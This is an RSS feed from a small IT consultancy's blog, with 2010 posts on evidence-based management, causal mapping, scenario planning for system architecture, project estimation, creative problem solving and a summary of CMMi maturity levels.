<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sarquol Limited</title>
	<atom:link href="http://www.sarquol.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sarquol.com</link>
	<description>Sarquol solves messy IT problems</description>
	<lastBuildDate>Mon, 02 Aug 2010 18:35:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Evidence in Management and IT</title>
		<link>http://www.sarquol.com/strat/implement/evidence/</link>
		<comments>http://www.sarquol.com/strat/implement/evidence/#comments</comments>
		<pubDate>Mon, 02 Aug 2010 18:35:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Implementation]]></category>
		<category><![CDATA[architecture]]></category>
		<category><![CDATA[based]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[evidence]]></category>
		<category><![CDATA[it]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[Strategy]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=568</guid>
		<description><![CDATA[I was recently reading various articles about the use of &#8220;Evidence&#8221; in Management. The basic idea is that it is all too easy to start management initiatives based on a prejudice of what is going on. The result can be that inappropriate action on a situation. An example would be if a manager were to [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently reading various articles about the use of &#8220;Evidence&#8221; in Management. The basic idea is that it is all too easy to start management initiatives based on a prejudice of what is going on. The result can be that inappropriate action on a situation. An example would be if a manager were to believe that  his team were unproductive and needed extra motivation there are actions that might be taken to improve motivation, or apply control to demand more output. The reality of the situation might be very different, with the individuals motivated and wanting to produce more &#8211; but being hampered by an inability to work effectively in the environment. The appropriate actions here would be quite different, and action on the perceived problem would have no effect. It could even make it worse. Worse still, the problem might be that the team are productive but too much is expected of them for what is achievable in the situation.</p>
<p> What solution is proposed?<span id="more-568"></span></p>
<p> The idea seems to be to treat Management as a localised research project. If you have a theory on what is going on then note it down and treat it as a &#8220;thesis&#8221;. Think through what evidence you have that things really are as you perceive them to be. Think if there is evidence that doesn&#8217;t fit with your thesis. If all the evidence you have indicates that your thesis is correct then think though what action you might take to confirm or deny the thesis.  What challenges might someone else present to your theory? What other theories might explain the observations you make? Can you differentiate what is actually going on?</p>
<p> If your theories, with modification as needed, seem to stack up then start to take some action. In doing so, however, remember that you are acting on a theory and look for on-going evidence of success or otherwise according to the theory. Thus a cycle of thinking and acting is created as the change is initiated and rolled out. It is still possible, and usually appropriate, to adjust the activities as the overall project moves forwards. The whole leads to a management approach that is more thoughtful, and hopefully more likely to be successful.</p>
<p> This can be extended, however, in the consideration of IT. When applying IT to a situation and in the management of IT issues a similar approach can be applied. I spend some of my time helping to resolve performance problem, and here an evidence and thesis based approach can be near critical to success. The same can be true in other areas, however, such as debugging complex problems or approaching a novel design issue.</p>
<p> All of this does have one issue though. Time doesn&#8217;t always allow a through evidence-based approach to every situation and circumstance. Thus, part of the trick is knowing when to apply the approach and when not. It is worth considering after the fact consideration of the situation even if it is too late to make a difference to the current situation. In this case, you are considering the need for lessons for the future rather than steering current action.</p>
<p> I&#8217;d be interested in feedback on how often people use evidence in their management and IT based activities. I would be particular interested in stories of successful, or otherwise, use of evidence. Alternatively, if you would like to hear more let me know.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/strat/implement/evidence/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Messy problems and solutions</title>
		<link>http://www.sarquol.com/business/prsolve/messy/</link>
		<comments>http://www.sarquol.com/business/prsolve/messy/#comments</comments>
		<pubDate>Wed, 19 May 2010 11:51:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Problem solving]]></category>
		<category><![CDATA[causal]]></category>
		<category><![CDATA[cause]]></category>
		<category><![CDATA[mapping]]></category>
		<category><![CDATA[messy]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[solution]]></category>
		<category><![CDATA[stickie]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=559</guid>
		<description><![CDATA[How often do you end up looking at one problem, and find that to solve it you have to solve all the others that it is interconnected with at the same time? One of the reasons I have found dealing with performance problems interesting over time is that they tend to be like this. It [...]]]></description>
			<content:encoded><![CDATA[<p>How often do you end up looking at one problem, and find that to solve it you have to solve all the others that it is interconnected with at the same time? One of the reasons I have found dealing with performance problems interesting over time is that they tend to be like this. It is only relatively recently, however, that I have come across the idea that this is a general class of management problem that occurs in business.  They have been studied under various titles (e.g &#8220;<a href="http://en.wikipedia.org/wiki/Wicked_problem">wicked</a>&#8221; problems), but the common feature is complexity and an inability to have a single easy solution.<span id="more-559"></span>Examples of the properties of such problems include:</p>
<ul type="circle">
<li>Not being quite sure what the      root cause is &#8211; management approach, technology etc.</li>
<li>Having no clear route to a      complete solution, as distinct from a temporary work around.</li>
<li>Having to &#8220;try it and      see&#8221; to solve the problem and continually adjust approach depending      on the results.</li>
</ul>
<p>Why do I assert that performance problems are often in this category though? There tends to be a definite issue that you can point to, and you will know when it is &#8220;solved&#8221; because the system will be performing well. The reason is that usually the defined performance problem is, in effect, the proverbial  tip of the iceberg. It may be possible  to just solve that fairly easily, such as add more hardware.  It is rarer, however, for this to be a complete solution as there is almost always implications and subtleties of stakeholder needs and expectations that this won&#8217;t address.</p>
<p>What to do then? There are  wide range of solutions. One important step, however, can be to form some form of map of the problems, potential solutions and how they are related. There are various defined techniques but start with something simple:</p>
<ul type="circle">
<li>Write on sticky notes all of      the symptoms you can think of. (e.g. Too slow a response time.)</li>
<li>Write on a different set of      notes all the solutions you can think of. (e.g. Buy more CPU.)</li>
<li>Write on yet another set all      of the constraints you can think of for solving the issues. (e.g. Budget)</li>
<li>Group these together and draw      lines between them to show relationships.</li>
</ul>
<p>This is based on a technique called &#8220;Causal mapping&#8221;, for which there is support software available, though I f. The process tends to help clarify what really needs solving, and how you might go about solving it. The examples above are about performance problems, but the idea can work for a much wider range of issues. Try it, and let me know what you think and how you get on.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/business/prsolve/messy/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>10 Questions&#8230;</title>
		<link>http://www.sarquol.com/gen/10-questions/</link>
		<comments>http://www.sarquol.com/gen/10-questions/#comments</comments>
		<pubDate>Thu, 06 May 2010 17:41:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Customer Relationships]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[ideas]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[professional]]></category>
		<category><![CDATA[questions]]></category>
		<category><![CDATA[relationship]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/gen/10-questions/</guid>
		<description><![CDATA[As a professional I find that I should do more networking than I do. I&#8217;m sure I&#8217;m not the only one in this situation. As such the following article may be of interest: 10 Questions for Effective Networking http://www.success121.com/index.php?option=com_content&#38;view=article&#38;id=45&#38;Itemid=34 The article is written by a &#8220;professional coach&#8221; who discusses the benefits of value-based questioning when [...]]]></description>
			<content:encoded><![CDATA[<p>As a professional I find that I should do more networking than I do. I&#8217;m sure I&#8217;m not the only one in this situation. As such the following article may be of interest:</p>
<p style="margin-left: 27pt;"><span style="font-size: 20pt;"><strong>10 Questions for Effective Networking<br />
</strong></span></p>
<p style="margin-left: 27pt;"><a href="http://www.success121.com/index.php?option=com_content&amp;view=article&amp;id=45&amp;Itemid=34">http://www.success121.com/index.php?option=com_content&amp;view=article&amp;id=45&amp;Itemid=34</a></p>
<p>The article is written by a &#8220;professional coach&#8221; who discusses the benefits of value-based questioning when networking. It seems a better approach than the standard sales-lead approach, and may be useful in breaking the ice with potential clients for the future. I found it interesting, see if you do.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/gen/10-questions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Keeping on going</title>
		<link>http://www.sarquol.com/devproc/prjmgt/wimming/</link>
		<comments>http://www.sarquol.com/devproc/prjmgt/wimming/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 12:16:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Project Management]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=498</guid>
		<description><![CDATA[I liked this post and thought it was worth sharing on the Sarquol site&#8230; it is a semi-serious look at ways to keep momentum when the going gets tough. WIMMING YOUR WAY THROUGH A HARD JOB http://blog.theitjobboard.co.uk/2010/03/wimming-your-way-through-a-hard-job/ Enjoy.]]></description>
			<content:encoded><![CDATA[<p>I liked this post and thought it was worth sharing on the Sarquol site&#8230; it is a semi-serious look at ways to keep momentum when the going gets tough.</p>
<p style="padding-left: 30px;"><strong>WIMMING YOUR WAY THROUGH A HARD JOB</strong></p>
<p style="padding-left: 30px;"><a href="http://blog.theitjobboard.co.uk/2010/03/wimming-your-way-through-a-hard-job/" target="_blank">http://blog.theitjobboard.co.uk/2010/03/wimming-your-way-through-a-hard-job/</a></p>
<p>Enjoy.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/prjmgt/wimming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Innovation axes in IT…</title>
		<link>http://www.sarquol.com/strat/development-strat/innovation-axes/</link>
		<comments>http://www.sarquol.com/strat/development-strat/innovation-axes/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 12:37:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[change]]></category>
		<category><![CDATA[focus]]></category>
		<category><![CDATA[green wash]]></category>
		<category><![CDATA[industry]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[it]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[paradigm]]></category>
		<category><![CDATA[position]]></category>
		<category><![CDATA[procedure]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[product]]></category>
		<category><![CDATA[Strategy]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=493</guid>
		<description><![CDATA[I was reading an article recently that suggested there are basically 4 types of innovation that a company might seek to undertake: Product innovation, whereby a new product or service is brought to market or a current one improved; Process innovation, whereby processes and procedures are modified to make them more efficient Positioning innovation, whereby [...]]]></description>
			<content:encoded><![CDATA[<p>I was reading an article recently that suggested there are basically 4 types of innovation that a company might seek to undertake:</p>
<ol>
<li><em>Product innovation</em>, whereby a new product or service is brought to market or a current one improved;</li>
<li><em>Process innovation</em>, whereby processes and procedures are modified to make them more efficient</li>
<li><em>Positioning innovation,</em> whereby a product or service stays fundamentally the same but is sold to a different market or as a different proposition</li>
<li><em>Paradigm innovation</em>, whereby an innovation is effectively disruptive and facilitates some form of fundamental change</li>
</ol>
<p><span id="more-493"></span>This is an interesting way of looking at the possible innovations available, especially since it is likely that one company might be pursuing more than one of these approaches at the same time. On reflection, however, I found it more interesting to consider where one type of innovation is purported to be another type. It is clear that this happens in the IT industry on a regular basis. The release of Windows 7 is an example, whereby the change is quite clearly a <em>Product innovation</em> in that it has changed the way Windows works internally. The product, however, is still Windows. Looking at the Advertising of the launch, however, one might be forgiven for suggesting that Microsoft is trying to <em>position</em> the change as a <em>Paradigm shift</em>. I believe that this allows them to “spin up” the perceived value of the new Windows version to users. I would suggest that some of the “Green IT” initiatives (c.f. “Green wash”) are similarly positioning pre-existing products as environmentally friendly initiatives.</p>
<p>Is it also possible, however, to <em>position</em> a change the other way? If you have a change that fundamentally changes the way that a business works then might there be value is positioning it as a simpler <em>product</em> or <em>process</em> innovation? In doing so the threat that the change poses to stakeholders might be downplayed and so allow a change into the environment that would otherwise meet excessive resistance. I can see that there might be good reasons for doing this, but would this be unethical? That is a difficult challenge that I suspect would need to be dealt with on a case-by-case basis. I don’t believe that the process has to be inherently unethical unless you really are getting an organisation to take on more cost and risk than it would otherwise be willing to do. This, in the final analysis, is the ethical challenge of any form of spin. When does “spin” spill over into out and out lies?</p>
<p>In more practical terms, it may be worth considering this as a checklist when introducing a change which is innovative, and in IT most of our significant projects are effectively innovative change to someone.  Once the innovative direction is considered then there will be consequential considerations that need to be taken into account. In the case of process innovation, for example, there will be a need to focus on the people who will be receiving the change and engaging them as early as possible. In a product innovation scenario, however, it is much more likely that simple communication about the changes will be necessary.</p>
<p>If you wish to read the article it is: “Francis, D. and Bessant, J. (2005), ‘Targeting innovation and implications for capability development’, Technovation, 25.”</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/strat/development-strat/innovation-axes/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Future Scenarios in Architecture…</title>
		<link>http://www.sarquol.com/strat/implement/future-scenarios/</link>
		<comments>http://www.sarquol.com/strat/implement/future-scenarios/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 18:00:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Implementation]]></category>
		<category><![CDATA[architecture]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[environment]]></category>
		<category><![CDATA[future]]></category>
		<category><![CDATA[governance]]></category>
		<category><![CDATA[improved]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[match]]></category>
		<category><![CDATA[prediction]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[scenario]]></category>
		<category><![CDATA[scenarios]]></category>
		<category><![CDATA[Strategy]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=487</guid>
		<description><![CDATA[I recently needed to consider the state of a System Architecture and consider the changes likely to be needed over time. Thus, I was trying to produce a “Roadmap” for the architecture into the future. The challenge was that the future is uncertain. Some items can be planned for, and others are dependent on the [...]]]></description>
			<content:encoded><![CDATA[<p>I recently needed to consider the state of a System Architecture and consider the changes likely to be needed over time. Thus, I was trying to produce a “Roadmap” for the architecture into the future. The challenge was that the future is uncertain. Some items can be planned for, and others are dependent on the way the business and technological environments develop. These developments can be considered to be the product of various “forces” playing out in the environment of the system. How then can you address this complexity? <span id="more-487"></span></p>
<p>The field of business strategy has looked at this issue of an uncertain future and come up with a number of approaches for managing considering it. One of these is called “Scenario Planning”, and basically consists of building a set of different future scenarios which are considered plausible. They are not attempts at predicting the future, only of painting plausible futures. It is then possible to consider how these scenarios may play out according to the decisions you are taking now. This allows a form of sensitivity analysis on the decisions that you are making.</p>
<p>A process for approaching this would be to:</p>
<p>1. State the architecture decisions that need to be made.</p>
<p>2. Identify the major environmental forces that impact on the architecture.</p>
<p>3. Build four scenarios based on the principal forces.</p>
<p>4. With the scenarios in hand, identify architecture opportunities within each scenario.</p>
<p>5. Examine the implications of the decisions across the range of scenarios.</p>
<p>As an example, lets assume that you need to decide between two architecture design patterns, A and B. For the example “A” provides a highly resilient and fault tolerant solution but involves significant additional hardware, operational administration and development costs over “B”. The decision that needs to be made is whether the extra capability of “A” is justified. If this is a new system then it may not initially require large processing volumes, and may be able to accept a system outage. The scenarios, however, could be used to examine under what circumstances the additional capability would be justified. If the system catches on, for example, how long might it take for the system to become business critical? Would you have time to re-engineer it? This may lead you to decide the additional capability is justified now, or would allow you to understand what changes in the environment might lead to the additional capability being needed.</p>
<p>In terms of the Architecture Roadmap then, the Scenarios developed and decisions taken may then be included in the roadmap. With this in mind a <em>Planning Scenario</em> is chosen. This defines the assumption set on which the roadmap has been built. In doing so, however, the other scenarios are not discounted but used as alternatives to which to architecture should be resilient. Where the architecture isn’t resilient to a scenario, then the roadmap will be able to indicate symptoms that will indicate that the architecture needs to be revisited. These then become business risks that must be managed based on the selected architecture.</p>
<p>All of this seems relatively complicated, so why bother? The answer is that architecture decisions are taken on a regular basis under the in the knowledge that the requirements of the system are known and understood. This may be true of the explicit requirements elicited from users, but these are based on assumptions about the future. In reality the future is generally much more surprising than we would like to believe, and so taking the time to consider what this might mean for the decisions you are taking can be worthwhile. An exercise like this can be considered surprisingly quickly, and may significantly help decision making.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/strat/implement/future-scenarios/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Project Estimation using Scenarios</title>
		<link>http://www.sarquol.com/devproc/prjmgt/project-estimation-scenarios/</link>
		<comments>http://www.sarquol.com/devproc/prjmgt/project-estimation-scenarios/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 17:07:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Project Management]]></category>
		<category><![CDATA[estimation]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[Performance Modelling]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[scenarios]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=477</guid>
		<description><![CDATA[Defining estimation scenarios The first stage in the steps to estimating a project was defined to be the definition of the scenarios to be supported in the solution.  The scenarios should be defined at as low a level of detail as possible, with the following diagram showing the example scenario definition. Definition of the scenarios [...]]]></description>
			<content:encoded><![CDATA[<div class='series_toc'><h3>Table of contents for Project Estimation Model</h3><ol><li><a href='http://www.sarquol.com/devproc/prjmgt/estimation-model/' title='Project Estimation Model'>Project Estimation Model</a></li><li><a href='http://www.sarquol.com/devproc/prjmgt/model-example/' title='Project Estimation Model Example'>Project Estimation Model Example</a></li><li>Project Estimation using Scenarios</li></ol></div> <h2>Defining estimation scenarios</h2>
<p>The first stage in the steps to estimating a project was defined to be the definition of the scenarios to be supported in the solution.  The scenarios should be defined at as low a level of detail as possible, with the following diagram showing the example scenario definition.</p>
<div id="attachment_478" class="wp-caption alignnone" style="width: 310px"><a href="http://www.sarquol.com/wp-content/uploads/2010/01/01-scenario-definition.jpg"><img class="size-medium wp-image-478  " title="Scenario definition" src="http://www.sarquol.com/wp-content/uploads/2010/01/01-scenario-definition-300x135.jpg" alt="Scenario definition" width="300" height="135" /></a><p class="wp-caption-text">Scenario definiton</p></div>
<p><strong>Definition of the scenarios sizing</strong></p>
<p><span id="more-477"></span>In the spreadsheet the light blue fields are those that you would normally fill in. The light purple fields are intended to fill in automatically based on the calibration parameters. If you prefer, however, it is suggested that you replace the calculated value with your own value where a better value is available. In this case I would suggest changing the colour of the cell so that you know this has been done later. I use bright highlighter yellow for this.The purple values are filled in from the “Calibration” sheet based on the complexity selected in the drop-down within those cells. The values represent typical operation counts for scenarios of the defined complexity.Scenario sizing calibrationThe scenario sizing information is drawn from the following part of the calibration sheet:Scenario calibration</p>
<p>As for all the calibration, the provided values are likely to be useful but the optimal values will depend on the business context of the estimator. It is suggested that the calibration should be adjusted from project to project until the most appropriate values are found. For a more rigorous approach a function-point counting style could be adopted on a specification of some suitable scenarios. The idea is to count the number of entities (c.f. database tables) that need to be managed by each scenario.</p>
<p>In the scenario definition sheet these filled in values are then summed at the bottom of the page, and each operation type is multiplied by a weighting factor to produce a total size. This can be seen at the bottom of the scenario definition sheet in the example:</p>
<div id="attachment_480" class="wp-caption alignnone" style="width: 310px"><a href="http://www.sarquol.com/wp-content/uploads/2010/01/13-scenario-sizing.jpg"><img class="size-medium wp-image-480" title="Scenario sizing" src="http://www.sarquol.com/wp-content/uploads/2010/01/13-scenario-sizing-300x46.jpg" alt="Scenario sizing" width="300" height="46" /></a><p class="wp-caption-text">Scenario sizing</p></div>
<p><strong>The scenario sizing calculation</strong></p>
<p>As can be seen, a standard “Operation Weight” is applied to each of the operation types within the columns of the estimation spreadsheet.  These are drawn from this section within the calibration sheet:</p>
<div id="attachment_481" class="wp-caption alignnone" style="width: 310px"><a href="http://www.sarquol.com/wp-content/uploads/2010/01/03-scenario-operation-weight.jpg"><img class="size-medium wp-image-481" title="Scenario operation weight" src="http://www.sarquol.com/wp-content/uploads/2010/01/03-scenario-operation-weight-300x157.jpg" alt="Scenario operation weight" width="300" height="157" /></a><p class="wp-caption-text">Scenario operation weight</p></div>
<p><strong>Operation weighting calibration</strong></p>
<p>This process is similar in principle to function point analysis, but the constants have not been adjusted to provide a function point count. It would be possible to complete this and hence to provide an estimate very close to the true function point count of the solution. This, however, is left as an exercise for the reader since I don’t have access to a library of function point analysis data which would make it worthwhile.</p>
 <div class='series_links'><a href='http://www.sarquol.com/devproc/prjmgt/model-example/' title='Project Estimation Model Example'>Previous in series</a> </div><p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/prjmgt/project-estimation-scenarios/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creative problem solving for IT</title>
		<link>http://www.sarquol.com/devproc/improve/cps-for-it/</link>
		<comments>http://www.sarquol.com/devproc/improve/cps-for-it/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 17:52:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Process Improvement]]></category>
		<category><![CDATA[cost]]></category>
		<category><![CDATA[CPS]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[creativity]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[Performance Troubleshooting]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[solving]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=458</guid>
		<description><![CDATA[If I consider creative problem solving in would think about tree hugging, and weird techniques to be at one with the universe. It doesn’t seem to fit well with my idea of IT problems which need engineering solutions. The ideas, however, can be surprisingly effective when applied appropriately.]]></description>
			<content:encoded><![CDATA[<p>If I consider creative problem solving Iwould usually think about tree hugging, and weird techniques to be at one with the universe. It doesn’t seem to fit well with my idea of IT problems which need engineering solutions. I have, however, found that the use of such techniques will often lead to a better overall solution than simply digging into the technical detail.<span id="more-458"></span></p>
<p>In summary an example creative problem solving approach may consist of stages, such as:</p>
<ol>
<li>Exploring the problem by opening up consideration of the problem space.</li>
<li>Narrowing down the problem again by defining it based on the new understanding.</li>
<li>Opening up to a set of ideas for possible solutions.</li>
<li>Narrowing back down by selecting a subset of the possible solutions.</li>
<li>Opening up to the potential approaches to solution implementation.</li>
<li>Narrowing this down to an implementation plan.</li>
</ol>
<p>The creativity techniques can then be used to apply many people’s minds to each of the stages. The most commonly know approach is brainstorming in step 3. There are many such techniques, however, all with different properties and needs. It is the application of many minds to the problem in a way that isn’t often achieved in traditional meetings that really gives this value for IT. Choosing the people to bring into the problem at each stage carefully will allow a much better problem solving approach. It will also mean that they will tend to buy into the solution that is eventually chosen, which can help when it comes to implementation.</p>
<p>So next time you have an IT problem, and most of us have many on a regular basis, consider whether a way to apply moiré creativity to it might help. If the answer is “Yes” then consider how that might be achieved – even if you can’t get out the finger paints. If, of course, you need help in doing so then feel free to contact me at <a href="mailto:sales@sarquol.com?subject=Creativity">sales@sarquol.com</a> or call +44 7887 536083. The ideas can be surprisingly effective when applied appropriately.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/improve/cps-for-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A quick look at CMMi</title>
		<link>http://www.sarquol.com/devproc/improve/look-at-cmmi/</link>
		<comments>http://www.sarquol.com/devproc/improve/look-at-cmmi/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 18:30:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Process Improvement]]></category>
		<category><![CDATA[CMMi]]></category>
		<category><![CDATA[improved]]></category>
		<category><![CDATA[Improvement]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[optimisation]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[rocess]]></category>
		<category><![CDATA[Strategy]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=438</guid>
		<description><![CDATA[I was recently talking to a client was concerned about the development processes used within their organisation. This is a challenge that has been tackled by many organisations and one which the Software Engineering Institute looked at years ago and produced their Capability Maturity Model (CMM) to help with.  I stated that I would find [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently talking to a client was concerned about the development processes used within their organisation. This is a challenge that has been tackled by many organisations and one which the Software Engineering Institute looked at years ago and produced their Capability Maturity Model (CMM) to help with.  I stated that I would find and send them a summary article to help. The challenge really started at that point.<span id="more-438"></span></p>
<p>The CMMi has been developed and integrated with other approaches and become the CMMi. This process has increased its apparent complexity, as well as its flexibility. The information on the SEI web site (<a title="SEI CMMi link" href="http://www.sei.cmu.edu/cmmi/" target="_blank">link</a>) has split into either detailed manuals of CMMi and presentations that primarily seem to say “Why you need to buy in our consultants…” The CMMi has been adopted by large players and so there is a strong consultancy market surrounding it, including training and appraisal of your organisational level. The manuals are reference material and not intended to be a thrilling read. The presentations do well at selling CMMi benefits but don’t offer much in the way of a “how to guide”.</p>
<p>The best links that I found to describe the CMMi to allow a quick “Is this for me assessment were:</p>
<p style="padding-left: 30px;">Tutorials point:</p>
<p style="padding-left: 60px;"><a title="Tutorials Point CMMi link" href="http://www.tutorialspoint.com/cmmi/cmmi-process-areas.htm" target="_blank">http://www.tutorialspoint.com/cmmi/cmmi-process-areas.htm</a></p>
<p style="padding-left: 30px;">Wikipedia:</p>
<p style="padding-left: 60px;"><a title="Wikipedia CMMi link" href="http://en.wikipedia.org/wiki/Process_area_(CMMI)" target="_blank">http://en.wikipedia.org/wiki/Process_area_(CMMI)</a></p>
<p>These sites provide an overview of CMMi at a level more suitable for someone who needs simply to understand the core nuggets of wisdom contained in the CMMi. The still are quite long though, so here is a quick summary of the summary…</p>
<p>CMMi is structured to allow consideration of how an organisation does things, for simplicity I will assume it is software development that is being performed. The CMMi assumes that the road to improvement means ending up with a standardised approach for doing this which can be measured, optimised and customised to the situation in a controlled fashion. It has this in common with many “Quality” processes including the international quality standards. It asserts that there 5 levels of maturity:</p>
<ul>
<li>Level 0 – Incomplete &#8211; We can get there, we’re sure we can. Not sure how though, and sometimes it don’t quite work right.</li>
<li>Level 1 – Performed – We can do it as long as it is about the same as the last time.</li>
<li>Level 2 – Managed – We can do it, and we can manage the process.</li>
<li>Level 3 – Defined – We can do it, and have a definition of <em>how</em>.</li>
<li>Level 4 &#8211; Quantitatively Managed – We can do it, and can provide numbers about how well. After all what you don’t measure you can’t manage!</li>
<li>Level 5 – Optimising – We can use the numbers as a basis for continual improvement of how well we do it.</li>
</ul>
<p>The idea of CMMi is to move up between the levels, and the way to do this is to develop various process areas in your organisation at each level. The areas form a structure, so it is very hard to fully benefit from a higher level process until the lower level ones have been addressed.</p>
<p>The processes organised by level are:</p>
<p>Level 2:</p>
<ul>
<li>Requirements Management</li>
<li>Project Planning</li>
<li>Project Monitoring and Control</li>
<li>Supplier Agreement Management</li>
<li>Measurement and Analysis</li>
<li>Process and Product Quality Assurance</li>
<li>Configuration Management</li>
</ul>
<p>Level 3:</p>
<ul>
<li>Requirements Development</li>
<li>Technical Solution</li>
<li>Product Integration</li>
<li>Verification</li>
<li>Validation</li>
<li>Organizational Process Focus</li>
<li>Organizational Process Definition</li>
<li>Organizational Training</li>
<li>Integrated Project Management</li>
<li>Risk Management</li>
<li>Decision Analysis and Resolution</li>
</ul>
<p>Level 4:</p>
<ul>
<li>Organizational Process Performance</li>
<li>Quantitative Project Management</li>
</ul>
<p>Level 5:</p>
<ul>
<li>Organizational Innovation and Deployment</li>
<li>Causal Analysis and Resolution</li>
</ul>
<p>It is likely that if you are having quality or delivery problems that by looking at these process areas in turn and considering whether you “Do that” you can start to gradually improve. The CMMi manuals have a lot to say that can support you, or you can start looking on Google etc. for ideas that might help you improve.  If you need help then seek outside help – it can be value for money. If you need to be certified to a certain level then the game is very different and outside input becomes a necessity.</p>
